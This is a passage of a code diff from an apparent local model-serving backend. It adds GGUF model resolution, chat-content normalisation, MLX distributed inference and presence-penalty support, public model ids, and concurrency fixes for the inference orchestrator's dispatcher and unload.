malformed cache) drops only that source, not the whole index. + found: list = [] + try: + found += _scan_models_dir(Path("./models").resolve()) + except Exception as exc: + logger.debug("auto-switch: ./models scan failed: %s", exc) + try: + for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()): + found += _scan_hf_once(hf_dir) + except Exception as exc: + logger.debug("auto-switch: HF cache scan failed: %s", exc) + try: + for lm_dir in lmstudio_model_dirs(): + found += _scan_lmstudio_dir(lm_dir) + except Exception as exc: + logger.debug("auto-switch: LM Studio scan failed: %s", exc) + try: + from storage.studio_db import list_scan_folders + for folder in list_scan_folders(): + try: + fp = Path(folder["path"]) + found += ( + _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp) + ) + except Exception as exc: + logger.debug("auto-switch: scan folder %r failed: %s", folder, exc) + except Exception as exc: + logger.debug("auto-switch: scan folders enumerate failed: %s", exc) + for info in found: + raw_id = getattr(info, "id", None) + if not raw_id: + continue + # Skip what Studio hides from its pickers (validation probe, RAG embed + # weights): not chat models, so never an auto-switch target. + if _is_hidden_model(raw_id, getattr(info, "path", None)): + continue + # Advertise a client-facing alias, not an absolute filesystem path. + loader_id = _advertised_loader_id(info) + entry = _local_gguf_entry(loader_id, info) + if entry is None: + continue + # Index every alias (including the path) so a client can resolve by any of + # them, even though only the non-path loader_id is advertised. + for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)): + if key: + index.setdefault(key.strip().lower(), entry) + return index + + +def _index() -> dict[str, _LocalGgufEntry]: + global _scan + # Build under the lock so concurrent callers with an expired cache don't all + # run the (multi-dir) scan at once; the rest wait and reuse the fresh result. + with _lock: + now = time.monotonic() + ts, cached = _scan + if now - ts < _CACHE_TTL_S: + return cached + fresh = _build_index() + # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on + # an install with many local models can itself exceed the TTL, which would + # store the cache already expired and make every request rebuild the index. + _scan = (time.monotonic(), fresh) + return fresh + + +def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]: + """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None. + + ``load_path`` is the concrete on-disk path to hand /load (so it never fetches + a remote), ``loader_id`` is the advertised id used as the launch-override key. + ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first + (so ids containing a colon still resolve); else the last ``:VARIANT`` is split + off and resolves only when that quant is on disk. + """ + if not isinstance(requested, str) or not requested.strip(): + return None + requested = requested.strip() + try: + index = _index() + entry = index.get(requested.lower()) + if entry is not None: + variant = entry.variants[0] if entry.variants else None + return entry.load_path, variant, entry.loader_id + + base, sep, variant = requested.rpartition(":") + if not sep: + return None + entry = index.get(base.strip().lower()) + if entry is None: + return None + wanted = variant.strip().lower() + for v in entry.variants: + if v.lower() == wanted: + return entry.load_path, v, entry.loader_id + return None + except Exception: + # Best-effort: any resolver failure falls through to the loaded model, + # so a malformed name can never turn a servable request into a 500. + return None diff --git a/studio/backend/core/inference/message_content.py b/studio/backend/core/inference/message_content.py new file mode 100644 index 0000000000..b7c499a087 --- /dev/null +++ b/studio/backend/core/inference/message_content.py @@ -0,0 +1,38 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Normalize chat-message `content` (string or OpenAI multimodal list) to text. + +String-only formatting paths called string ops directly on `content` and broke +on the list form (#4383). `content_to_text` collapses either shape to a string, +dropping non-text parts. No heavy imports, so it is unit-testable alone. +""" + +from __future__ import annotations + +from typing import Any + + +def content_to_text(content: Any) -> str: + """Plain text of a `content`: str unchanged, list/tuple text parts newline-joined + (non-text dropped), None to "", else str(content).""" + if content is None: + return "" + if isinstance(content, str): + return content + if isinstance(content, (list, tuple)): + parts = [] + for item in content: + if isinstance(item, str): + if item: + parts.append(item) + elif isinstance(item, dict): + # Skip non-text parts (image_url, input_audio, ...). + part_type = item.get("type") + if part_type is not None and part_type != "text": + continue + text = item.get("text") + if isinstance(text, str) and text: + parts.append(text) + return "\n".join(parts) + return str(content) diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py index 5c7799152f..6287b184a6 100644 --- a/studio/backend/core/inference/mlx_inference.py +++ b/studio/backend/core/inference/mlx_inference.py @@ -5,6 +5,7 @@ Drop-in replacement for InferenceBackend — same interface, uses mlx-lm/mlx-vlm instead of torch/transformers for model loading and generation. """ +import os import threading from typing import Optional, Generator from core.inference.runtime_context import runtime_context_length @@ -41,6 +42,87 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps): } +def _mlx_distributed_rank_size(group = None): + """Return ``(rank, world_size)`` for an optional MLX distributed group.""" + if group is None: + return 0, 1 + rank = int(group.rank()) + world_size = int(group.size()) + if world_size < 1: + raise ValueError(f"Invalid MLX distributed world_size={world_size}.") + if rank < 0 or rank >= world_size: + raise ValueError(f"Invalid MLX distributed rank={rank} for world_size={world_size}.") + return rank, world_size + + +def _mlx_distributed_backend_from_env(): + if os.environ.get("MLX_JACCL_COORDINATOR") and os.environ.get("MLX_IBV_DEVICES"): + return "jaccl" + return None + + +def _init_mlx_distributed(): + """Initialize MLX distributed state, falling back to singleton metadata.""" + import mlx.core as mx + + group = None + rank = 0 + world_size = 1 + distributed = getattr(mx, "distributed", None) + init = getattr(distributed, "init", None) if distributed is not None else None + if callable(init): + backend = _mlx_distributed_backend_from_env() + if backend is None: + group = init() + else: + try: + group = init(backend = backend) + except TypeError: + group = init() + if group is not None: + rank, world_size = _mlx_distributed_rank_size(group) + return group, rank, world_size + + +def _make_mlx_presence_penalty_processor(penalty: float): + """Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path. + + generate_step calls processors as ``fn(tokens, logits)`` with ``tokens`` the + full running sequence; the first call is prompt-only, so latch that length + and penalize only after it. + """ + state = {"prompt_len": None} + + def _processor(tokens, logits): + if state["prompt_len"] is None: + # First call is prompt-only; latch its length. + state["prompt_len"] = int(tokens.shape[0]) + return logits + generated = tokens[state["prompt_len"] :] + if generated.size == 0: + return logits + import mlx.core as mx + + vocab = logits.shape[-1] + # Bound ids to [0, vocab) before indexing logits: MLX does no bounds + # checking and out-of-bounds indexing is undefined behavior (crash / + # corruption), unlike torch's harmless negative wrap. MLX also lacks + # boolean-mask filtering, so out-of-range/negative ids route to a + # scratch slot at index vocab (dropped before the subtract) that never + # collides with a real token: real ids (including 0) are penalized + # once, strays ignored. + valid = (generated >= 0) & (generated < vocab) + safe = mx.where(valid, generated, vocab).astype(mx.int32) + # Scatter penalty into a (vocab + 1)-wide mask: duplicate ids are + # idempotent (presence applies once per token); scratch column dropped. + mask = mx.zeros((vocab + 1,), dtype = logits.dtype) + mask[safe] = penalty + logits = logits - mask[:vocab] + return logits + + return _processor + + class MLXInferenceBackend: def __init__(self): self.models = {} @@ -49,7 +131,7 @@ class MLXInferenceBackend: self.loaded_local_models = [] self.device = "mlx" self._generation_lock = threading.Lock() - # usage/timings of the latest generation; shipped on gen_done. + # usage/timings of the latest generation, shipped on gen_done. self.last_generation_stats = None self._model = None @@ -57,6 +139,9 @@ class MLXInferenceBackend: self._processor = None self._is_vlm = False self._config = {} + self._distributed_group = None + self._distributed_rank = 0 + self._distributed_world_size = 1 # Recorded for unload to release pinned memory back to the OS. self._memory_limits_applied = {} @@ -101,16 +186,26 @@ class MLXInferenceBackend: trust_remote_code = False, gpu_ids = None, dtype = None, + parallel_mode = None, + distributed_group = None, ) -> bool: import mlx.core as mx + # Keep the token so the native-template fallback can fetch a gated + # model's repo template during generation. + self._hf_token = hf_token model_name = config.identifier if hasattr(config, "identifier") else str(config) is_vision = getattr(config, "is_vision", False) + distributed_rank, distributed_size = _mlx_distributed_rank_size(distributed_group) + is_distributed = distributed_group is not None and distributed_size > 1 + self._distributed_group = distributed_group + self._distributed_rank = distributed_rank + self._distributed_world_size = distributed_size - # GGUF guard. GGUF models are served by llama-server in the parent - # process, not mlx-lm here. Reaching this with is_gguf=True means the - # route's first detection flaked (transient HF Hub) but the subprocess - # re-detected GGUF; raise loudly instead of a cryptic mlx_lm error. + # GGUF guard: GGUF is served by llama-server in the parent process, + # not mlx-lm. Reaching here with is_gguf=True means the route's + # detection flaked but the subprocess re-detected GGUF; raise loudly + # instead of a cryptic mlx_lm error. if getattr(config, "is_gguf", False): raise RuntimeError( f"MLXInferenceBackend cannot load GGUF model '{model_name}': " @@ -129,11 +224,26 @@ class MLXInferenceBackend: is_lora = getattr(config, "is_lora", False) logger.info( - "Loading %s via %s (is_lora=%s)", + "Loading %s via %s (is_lora=%s, distributed=%s, rank=%s/%s, mode=%s)", model_name, "mlx-vlm" if is_vision else "mlx-lm", is_lora, + is_distributed, + distributed_rank, + distributed_size, + parallel_mode, ) + if is_distributed and parallel_mode not in ("pipeline", "tensor"): + raise ValueError( + "Unsloth: distributed MLX inference requires parallel_mode='pipeline' " + "or parallel_mode='tensor'." + ) + if is_distributed and is_lora: + raise ValueError( + "Unsloth: distributed MLX inference for LoRA adapter repos " + "is not supported yet. Merge/export the adapter into an MLX model " + "before distributed inference." + ) try: from unsloth_zoo.mlx.loader import FastMLXModel @@ -143,14 +253,23 @@ class MLXInferenceBackend: "(unsloth_zoo.mlx.loader). Reinstall via install.sh on Apple Silicon." ) from e + load_kwargs = { + "max_seq_length": max_seq_length, + "dtype": dtype, + "load_in_4bit": load_in_4bit, + "token": hf_token, + "trust_remote_code": trust_remote_code, + "text_only": False if is_vision else True, + } + if is_distributed: + if parallel_mode == "pipeline": + load_kwargs["pipeline_group"] = distributed_group + else: + load_kwargs["tensor_group"] = distributed_group + model, tokenizer_or_processor = FastMLXModel.from_pretrained( model_name, - max_seq_length = max_seq_length, - dtype = dtype, - load_in_4bit = load_in_4bit, - token = hf_token, - trust_remote_code = trust_remote_code, - text_only = False if is_vision else True, + **load_kwargs, ) if is_vision: @@ -168,18 +287,25 @@ class MLXInferenceBackend: self.active_model_name = model_name self.models[model_name] = { + # Per-model token for the native-template fallback (matches transformers). + "hf_token": hf_token, + # Per-model trust_remote_code reused by the native-template reload (matches transformers). + "trust_remote_code": trust_remote_code, "model": self._model, "tokenizer": self._tokenizer, "processor": self._processor, "is_vision": is_vision, "is_lora": getattr(config, "is_lora", False), + # For a LoRA adapter the native chat template lives on the base model. + "base_model": getattr(config, "base_model", None) + if getattr(config, "is_lora", False) + else None, "is_audio": False, "audio_type": None, "has_audio_input": False, "context_length": runtime_context_length(self._model, max_seq_length), } - # Capture chat_template_info so the worker IPC reply ships it back and - # the route layer classifies capabilities like the other paths. + # Capture chat_template_info for the worker IPC reply and route capability classification. self._populate_chat_template_info(model_name) logger.info("Model %s loaded successfully", model_name) @@ -237,6 +363,9 @@ class MLXInferenceBackend: self._model = None self._tokenizer = None self._processor = None + self._distributed_group = None + self._distributed_rank = 0 + self._distributed_world_size = 1 if self.active_model_name == model_name: self.active_model_name = None gc.collect() @@ -264,12 +393,12 @@ class MLXInferenceBackend: max_new_tokens = 256, repetition_penalty = 1.0, cancel_event = None, - # Reasoning / tool kwargs forwarded by the route + worker; rendered via - # apply_chat_template_for_generation like the transformers path. + # Reasoning / tool kwargs, rendered via apply_chat_template_for_generation (transformers parity). tools = None, enable_thinking = None, reasoning_effort = None, preserve_thinking = None, + presence_penalty = 0.0, ) -> Generator[str, None, None]: if self._model is None: raise RuntimeError("No model loaded") @@ -277,7 +406,6 @@ class MLXInferenceBackend: # Reset so a failed run cannot surface stale stats. self.last_generation_stats = None - # Build messages with system prompt full_messages = [] if system_prompt: full_messages.append({"role": "system", "content": system_prompt}) @@ -294,7 +422,6 @@ class MLXInferenceBackend: {"type": "text", "text": content}, ] elif isinstance(content, list): - # Prepend image if not already present has_image = any( p.get("type") == "image" for p in content if isinstance(p, dict) ) @@ -317,6 +444,7 @@ class MLXInferenceBackend: enable_thinking = enable_thinking, reasoning_effort = reasoning_effort, preserve_thinking = preserve_thinking, + presence_penalty = presence_penalty, ) else: yield from self._generate_text( @@ -332,6 +460,7 @@ class MLXInferenceBackend: enable_thinking = enable_thinking, reasoning_effort = reasoning_effort, preserve_thinking = preserve_thinking, + presence_penalty = presence_penalty, ) def _generate_text( @@ -349,12 +478,15 @@ class MLXInferenceBackend: enable_thinking = None, reasoning_effort = None, preserve_thinking = None, + presence_penalty = 0.0, ): from mlx_lm import stream_generate from mlx_lm.sample_utils import make_sampler, make_logits_processors from core.inference.chat_template_helpers import ( apply_chat_template_for_generation, + detect_think_prefill, + render_with_native_template_fallback, ) prompt = apply_chat_template_for_generation( @@ -368,6 +500,34 @@ class MLXInferenceBackend: if prompt is None: raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible") + # Parity with the transformers backend: if the template dropped the + # requested tools, fall back to the native template so MLX text models + # keep advertising them. self._tokenizer is this entry's tokenizer, so + # probe and native render share a renderer. (VLM renders via the + # processor for image tokens and is not wired here.) + model_info = self.models.get(self.active_model_name, {}) + prompt = render_with_native_template_fallback( + formatted_prompt = prompt, + tokenizer = self._tokenizer, + model_info = model_info, + active_model_name = self.active_model_name, + messages = messages, + tools = tools, + enable_thinking = enable_thinking, + reasoning_effort = reasoning_effort, + preserve_thinking = preserve_thinking, + hf_token = model_info.get("hf_token"), + ) + + # An open prefilled by the template lives in the prompt, not + # the generated tokens; re-emit it so the frontend renders the block. + think_prefix = detect_think_prefill( + prompt, getattr(self._tokenizer, "all_special_tokens", None) + ) + # Emit it before the first token so the block renders during prefill. + if think_prefix: + yield think_prefix + sampler = make_sampler( temp = temperature, top_p = top_p, @@ -375,15 +535,21 @@ class MLXInferenceBackend: min_p = float(min_p or 0.0), min_tokens_to_keep = 1, ) - # Only build a logits processor for a non-trivial repetition penalty. - logits_processors = None + # Repetition and/or presence penalty processors (GGUF/safetensors parity). + logits_processors = [] if repetition_penalty is not None and float(repetition_penalty) not in ( 0.0, 1.0, ): - logits_processors = make_logits_processors( - repetition_penalty = float(repetition_penalty), + logits_processors.extend( + make_logits_processors( + repetition_penalty = float(repetition_penalty), + ) ) + if presence_penalty: + logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty))) + if not logits_processors: + logits_processors = None token_ids = [] logger.info( @@ -410,12 +576,11 @@ class MLXInferenceBackend: ): final_response = response token_ids.append(response.token) - # Decode full sequence with skip_special_tokens cumulative = self._tokenizer.decode( token_ids, skip_special_tokens = True, ) - yield cumulative + yield think_prefix + cumulative if cancel_event and cancel_event.is_set(): break @@ -449,6 +614,7 @@ class MLXInferenceBackend: enable_thinking = None, reasoning_effort = None, preserve_thinking = None, + presence_penalty = 0.0, ): from mlx_vlm import stream_generate as vlm_stream @@ -457,8 +623,7 @@ class MLXInferenceBackend: ) # Pick the chat-template-aware caller: processors with their own - # apply_chat_template + chat_template (e.g. Qwen2.5-VL) use it - # directly; else fall back to the nested tokenizer. + # apply_chat_template + chat_template (e.g. Qwen2.5-VL), else the nested tokenizer. chat_target = self._processor if ( getattr(self._processor, "apply_chat_template", None) is None @@ -479,16 +644,21 @@ class MLXInferenceBackend: # mlx_vlm's stream_generate handles pixel_values (None for text-only) images = [image] if image is not None else None - cumulative = "" + from core.inference.chat_template_helpers import detect_think_prefill + + # Re-emit an open prefill from the prompt (see _generate_text). + cumulative = detect_think_prefill(prompt, getattr(chat_target, "all_special_tokens", None)) + # Emit it before the first token so the block renders during prefill. + if cumulative: + yield cumulative logger.info( "VLM generating: prompt_len=%d, has_image=%s", len(prompt), image is not None, ) - # mlx_vlm.stream_generate forwards **kwargs into generate_step, which - # builds the sampler + logits_processors internally. - # GOTCHA: generate_step expects ``temperature=`` (long form); ``temp=`` - # silently falls into **kwargs and is ignored, stuck at greedy 0.0. + # stream_generate forwards **kwargs into generate_step (builds the + # sampler + logits_processors internally). GOTCHA: generate_step expects + # temperature= (long form); temp= is silently ignored, stuck at greedy 0.0. vlm_kwargs = dict( max_tokens = max_new_tokens, temperature = temperature, @@ -496,10 +666,23 @@ class MLXInferenceBackend: top_k = int(top_k or 0), min_p = float(min_p or 0.0), ) - if repetition_penalty is not None and float(repetition_penalty) not in ( + _rep_active = repetition_penalty is not None and float(repetition_penalty) not in ( 0.0, 1.0, - ): + ) + if presence_penalty: + # Presence needs a custom processor: pass the full list (repetition + + # presence) instead of the repetition_penalty shortcut so both apply. + from mlx_lm.sample_utils import make_logits_processors + + _vlm_processors = [] + if _rep_active: + _vlm_processors.extend( + make_logits_processors(repetition_penalty = float(repetition_penalty)) + ) + _vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty))) + vlm_kwargs["logits_processors"] = _vlm_processors + elif _rep_active: vlm_kwargs["repetition_penalty"] = float(repetition_penalty) with self._generation_lock: @@ -534,7 +717,7 @@ class MLXInferenceBackend: cancel_event = None, **gen_kwargs, ) -> Generator[str, None, None]: - # MLX LoRA adapter toggling not yet supported — generate normally + # MLX LoRA adapter toggling not yet supported; generate normally yield from self.generate_chat_response(cancel_event = cancel_event, **gen_kwargs) def reset_generation_state(self): diff --git a/studio/backend/core/inference/model_ids.py b/studio/backend/core/inference/model_ids.py new file mode 100644 index 0000000000..548cc60f94 --- /dev/null +++ b/studio/backend/core/inference/model_ids.py @@ -0,0 +1,71 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Public model identifiers for the OpenAI-compatible API. + +The exposed API must report a stable, clean model id rather than the absolute +on-disk path of a local GGUF. The internal identifier for a direct local load is +the absolute ``.gguf`` path, which leaks the host filesystem layout and is +awkward for clients to round-trip. ``public_model_id`` maps such an internal +identifier to a clean name while leaving Hugging Face repo ids (``org/model``) +and already-clean names untouched. +""" + +from __future__ import annotations + +import os +from typing import Optional + +_GGUF_SUFFIX = ".gguf" + + +def _looks_like_path(identifier: str) -> bool: + """True when *identifier* is a local filesystem path, not a HF repo id. + + A repo id is ``org/model`` (a single forward slash, no leading separator, no + drive, no ``.gguf``). Anything ending in ``.gguf``, starting with a path + separator or a relative/home prefix (``./``, ``../``, ``~``), carrying a + Windows drive, or with three or more ``/`` segments is treated as a local + path. + """ + if identifier.lower().endswith(_GGUF_SUFFIX): + return True + if identifier.startswith(("/", "\\", "./", "../", ".\\", "..\\", "~")): + return True + if len(identifier) >= 2 and identifier[1] == ":": # Windows drive, e.g. C:\ + return True + if identifier.count("/") >= 2 or "\\" in identifier: + return True + return False + + +def public_model_id(identifier: Optional[str]) -> Optional[str]: + """Return a clean, path-free public id for *identifier*. + + - Local GGUF path -> the file stem with ``.gguf`` stripped, e.g. + ``/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf`` -> ``Qwen3-30B-A3B-Q4_K_M``. + - HF repo id (``org/model``) and already-clean names -> returned unchanged. + - ``None`` / empty -> returned unchanged. + """ + if not identifier: + return identifier + if not _looks_like_path(identifier): + return identifier + name = os.path.basename(identifier.replace("\\", "/").rstrip("/")) + if name.lower().endswith(_GGUF_SUFFIX): + name = name[: -len(_GGUF_SUFFIX)] + return name or identifier + + +def model_id_matches(requested: Optional[str], internal: Optional[str]) -> bool: + """Whether a client-supplied *requested* id refers to *internal*. + + Accepts the clean public id (preferred) and, for backward compatibility, the + raw internal identifier (e.g. a legacy absolute path a client cached from an + older ``/v1/models`` response). + """ + if requested is None or internal is None: + return False + if requested == internal: + return True + return public_model_id(internal) == requested diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py index 47e8038764..4fa0d3ed26 100644 --- a/studio/backend/core/inference/orchestrator.py +++ b/studio/backend/core/inference/orchestrator.py @@ -45,6 +45,22 @@ _DISPATCH_STOP_TIMEOUT = 5.0 _DISPATCH_IDLE_TIMEOUT = 30.0 _DISPATCH_DRAIN_TIMEOUT = 5.0 +# Max wait for a cancelled generation to release _gen_lock before unload_model +# tears the subprocess down. Only bounds a wedged worker. +_UNLOAD_GEN_LOCK_TIMEOUT = 15.0 + + +class GenStreamError(str): + """A stream chunk carrying a real backend/generation error, not model text. + + Subclasses str so existing display/logging consumers are unaffected, while + callers that must abort a distributed run on error (raise_on_streamed_error) + can distinguish a real error from model output whose visible text starts with + "Error:" by checking isinstance(chunk, GenStreamError). + """ + + __slots__ = () + class InferenceOrchestrator: """ @@ -60,7 +76,13 @@ class InferenceOrchestrator: self._cmd_queue: Any = None self._resp_queue: Any = None self._cancel_event: Any = None # mp.Event — set to cancel generation + # Set for the whole unload; the worker never clears it (unlike _cancel_event), + # so a generate queued behind the cancelled one is skipped, not run. + self._drain_event: Any = None self._gen_lock = threading.Lock() # Serializes generation + # Set during a switch so a generation winning the _gen_lock handoff bails + # instead of starting on the outgoing model. + self._unload_pending = False # Dispatcher state for compare mode (adapter-controlled requests): # bypass _gen_lock, send commands directly, read from per-request @@ -69,6 +91,12 @@ class InferenceOrchestrator: self._mailbox_lock = threading.Lock() self._dispatcher_thread: Optional[threading.Thread] = None self._dispatcher_stop = threading.Event() + # Serializes dispatcher start/stop. _generate_dispatched (compare mode) bypasses + # _gen_lock, so two concurrent compare requests can both reach _start_dispatcher; + # without this lock both could observe no live dispatcher and each spawn one, + # orphaning the extra thread (self._dispatcher_thread tracks only the last). The + # orphan later steals the "unloaded" reply off resp_queue and hangs unload_model. + self._dispatcher_lifecycle_lock = threading.Lock() # Local state mirrors (updated from subprocess responses) self.active_model_name: Optional[str] = None @@ -92,13 +120,11 @@ class InferenceOrchestrator: @property def default_models(self) -> list[str]: - # Wait up to 5s for background HF fetch - self._top_models_ready.wait(timeout = 5) top_gguf = self._top_gguf_cache or [] top_hub = self._top_hub_cache or [] - # Curated static defaults first, then HF download-ranked to backfill. - # Send extras so the frontend keeps 4 per category after removing - # downloaded ones. + # Never wait for the remote Hugging Face ranking during startup. Chat's + # first /api/models/list needs curated defaults immediately; the + # background fetch backfills extra choices on later calls. result: list[str] = [] seen: set[str] = set() for m in self._static_models + top_gguf + top_hub: @@ -159,6 +185,7 @@ class InferenceOrchestrator: self._cmd_queue = _CTX.Queue() self._resp_queue = _CTX.Queue() self._cancel_event = _CTX.Event() + self._drain_event = _CTX.Event() self._proc = _CTX.Process( target = run_without_native_path_secret, @@ -167,6 +194,7 @@ class InferenceOrchestrator: "cmd_queue": self._cmd_queue, "resp_queue": self._resp_queue, "cancel_event": self._cancel_event, + "drain_event": self._drain_event, "config": config, }, daemon = True, @@ -228,6 +256,7 @@ class InferenceOrchestrator: self._cmd_queue = None self._resp_queue = None self._cancel_event = None + self._drain_event = None logger.info("Inference subprocess shut down") def _cleanup(self): @@ -409,6 +438,7 @@ class InferenceOrchestrator: enable_thinking: Optional[bool] = None, reasoning_effort: Optional[str] = None, preserve_thinking: Optional[bool] = None, + presence_penalty: float = 0.0, ) -> dict: """Build the 'generate' command shared by the locked and dispatched paths.""" cmd = { @@ -423,6 +453,7 @@ class InferenceOrchestrator: "min_p": min_p, "max_new_tokens": max_new_tokens, "repetition_penalty": repetition_penalty, + "presence_penalty": presence_penalty, } # Only forward template kwargs the caller set, for older worker compat. if use_adapter is not None: @@ -456,12 +487,20 @@ class InferenceOrchestrator: cancel ack from that same source so stale events don't leak into the next request. """ + # Latch this stream's subprocess/queue: if a wedged worker is torn down and a + # later load spawns a fresh one, bail rather than re-block on the new queue + # under _gen_lock (deadlock). + initial_proc = self._proc + initial_resp_queue = self._resp_queue while True: + if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue: + yield GenStreamError(f"Error: {self._subprocess_crash_message(crash_context)}") + return resp = read_one(read_timeout) if resp is None: # Check subprocess health if not self._ensure_subprocess_alive(): - yield f"Error: {self._subprocess_crash_message(crash_context)}" + yield GenStreamError(f"Error: {self._subprocess_crash_message(crash_context)}") return continue @@ -471,7 +510,7 @@ class InferenceOrchestrator: # Subprocess-level error (no request_id); request-scoped failures # arrive as gen_error below. if rtype == "error" and not resp.get("request_id"): - yield f"Error: {resp.get('error', 'Unknown error')}" + yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}") return if rtype == "token": @@ -486,40 +525,63 @@ class InferenceOrchestrator: stats_holder["stats"] = resp.get("stats") return elif rtype == "gen_error": - yield f"Error: {resp.get('error', 'Unknown error')}" + yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}") return # ------------------------------------------------------------------ # Dispatcher — per-request mailbox routing for compare mode # ------------------------------------------------------------------ - def _start_dispatcher(self) -> None: + def _start_dispatcher(self) -> bool: """Start the dispatcher thread if not already running. The dispatcher reads the shared resp_queue and routes responses to per-request mailbox queues, letting multiple adapter-controlled (compare) requests be in-flight without holding _gen_lock. - """ - if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive(): - return - self._dispatcher_stop.clear() - self._dispatcher_thread = threading.Thread( - target = self._dispatcher_loop, - daemon = True, - name = "inference-dispatcher", - ) - self._dispatcher_thread.start() - logger.debug("Dispatcher thread started") + The whole check-then-spawn runs under _dispatcher_lifecycle_lock so + concurrent compare requests (which bypass _gen_lock) can't both observe + no live dispatcher and each spawn one. Returns True only for the caller + that actually started a new thread; False if one was already alive. + """ + with self._dispatcher_lifecycle_lock: + # Refuse to start while an unload is in progress. unload_model sets + # _unload_pending under this same lock before it stops the idle + # dispatcher, so a start queued behind that stop observes the unload + # here and bails. Without this a fresh dispatcher would be spawned + # after the stop, become the resp_queue reader, and consume the + # worker's "unloaded" reply (unroutable, so dropped) before + # unload_model's _wait_response sees it -- hanging the unload 300s. + if self._unload_pending: + return False + if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive(): + return False + + self._dispatcher_stop.clear() + self._dispatcher_thread = threading.Thread( + target = self._dispatcher_loop, + daemon = True, + name = "inference-dispatcher", + ) + self._dispatcher_thread.start() + logger.debug("Dispatcher thread started") + return True def _stop_dispatcher(self) -> None: - """Signal the dispatcher to stop and wait for it.""" - if self._dispatcher_thread is None: - return - self._dispatcher_stop.set() - self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT) - self._dispatcher_thread = None - logger.debug("Dispatcher thread stopped") + """Signal the dispatcher to stop and wait for it. + + Runs under _dispatcher_lifecycle_lock (paired with _start_dispatcher) so + a stop can't interleave with a concurrent start. Callers must NOT hold + _mailbox_lock here: this joins the dispatcher, and the dispatcher loop + takes _mailbox_lock, so holding it would deadlock the join. + """ + with self._dispatcher_lifecycle_lock: + if self._dispatcher_thread is None: + return + self._dispatcher_stop.set() + self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT) + self._dispatcher_thread = None + logger.debug("Dispatcher thread stopped") def _dispatcher_loop(self) -> None: """Background loop: read resp_queue → route to mailboxes by request_id.""" @@ -534,29 +596,34 @@ class InferenceOrchestrator: except (EOFError, OSError, ValueError): break - rid = resp.get("request_id") - rtype = resp.get("type", "") + # Sole consumer of the response queue; if it died every in-flight + # stream would hang, so never let routing kill the dispatcher. + try: + rid = resp.get("request_id") + rtype = resp.get("type", "") - # Status messages — log and skip - if rtype == "status": - logger.info("Subprocess status: %s", resp.get("message", "")) - continue - - # Route to mailbox if a matching request_id exists - if rid: - with self._mailbox_lock: - mbox = self._mailboxes.get(rid) - if mbox is not None: - mbox.put(resp) + # Status messages: log and skip + if rtype == "status": + logger.info("Subprocess status: %s", resp.get("message", "")) continue - # No matching mailbox (a _gen_lock reader or orphaned). Can't - # un-get from mp.Queue, so just log. (status was handled above.) - logger.debug( - "Dispatcher: no mailbox for request_id=%s type=%s, dropping", - rid, - rtype, - ) + # Route to mailbox if a matching request_id exists + if rid: + with self._mailbox_lock: + mbox = self._mailboxes.get(rid) + if mbox is not None: + mbox.put(resp) + continue + + # No matching mailbox; can't un-get from mp.Queue, so just log. + logger.debug( + "Dispatcher: no mailbox for request_id=%s type=%s, dropping", + rid, + rtype, + ) + except Exception: + logger.exception("Inference dispatcher: failed to route a response; continuing") + continue def _generate_dispatched( self, @@ -576,6 +643,7 @@ class InferenceOrchestrator: reasoning_effort: Optional[str] = None, preserve_thinking: Optional[bool] = None, stats_holder: Optional[dict] = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Dispatched generation — sends command without holding _gen_lock. @@ -584,15 +652,32 @@ class InferenceOrchestrator: GPU work stays serialized; this only avoids orchestrator lock contention. """ if not self._ensure_subprocess_alive(): - yield "Error: Inference subprocess is not running" + yield GenStreamError("Error: Inference subprocess is not running") return if not self.active_model_name: - yield "Error: No active model" + yield GenStreamError("Error: No active model") + return + # Latch the target model so the recheck below can detect a switch that completed + # between _start_dispatcher and mailbox registration (mirrors the locked path's + # expected_model check). + expected_model = self.active_model_name + + # Switch in flight (unload waiting on _gen_lock). This path bypasses the lock, + # so without this early-out a compare request would enqueue a generate on the + # outgoing model and delay the switch. + if self._unload_pending: + yield GenStreamError("Error: model is being unloaded") return - # Ensure dispatcher is running - self._start_dispatcher() + # Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under + # _dispatcher_lifecycle_lock and returns True only for the caller that actually spawned + # the thread, so at most one dispatcher ever exists even when two compare requests race + # here. Derive dispatcher_preexisting from that atomic result (not a separate unlocked + # is_alive() read): if THIS call started the dispatcher and then bails on a racing + # unload, it must stop it again (see the unloading bail below). + started = self._start_dispatcher() + dispatcher_preexisting = not started request_id = str(uuid.uuid4()) @@ -612,6 +697,7 @@ class InferenceOrchestrator: min_p = min_p, max_new_tokens = max_new_tokens, repetition_penalty = repetition_penalty, + presence_penalty = presence_penalty, use_adapter = use_adapter, tools = tools, enable_thinking = enable_thinking, @@ -619,17 +705,49 @@ class InferenceOrchestrator: preserve_thinking = preserve_thinking, ) - # Create mailbox BEFORE sending command + # Create the mailbox BEFORE sending, rechecking _unload_pending under + # _mailbox_lock: an unload sets _unload_pending before _wait_dispatcher_idle + # reads _mailboxes under the same lock, so either the idle check 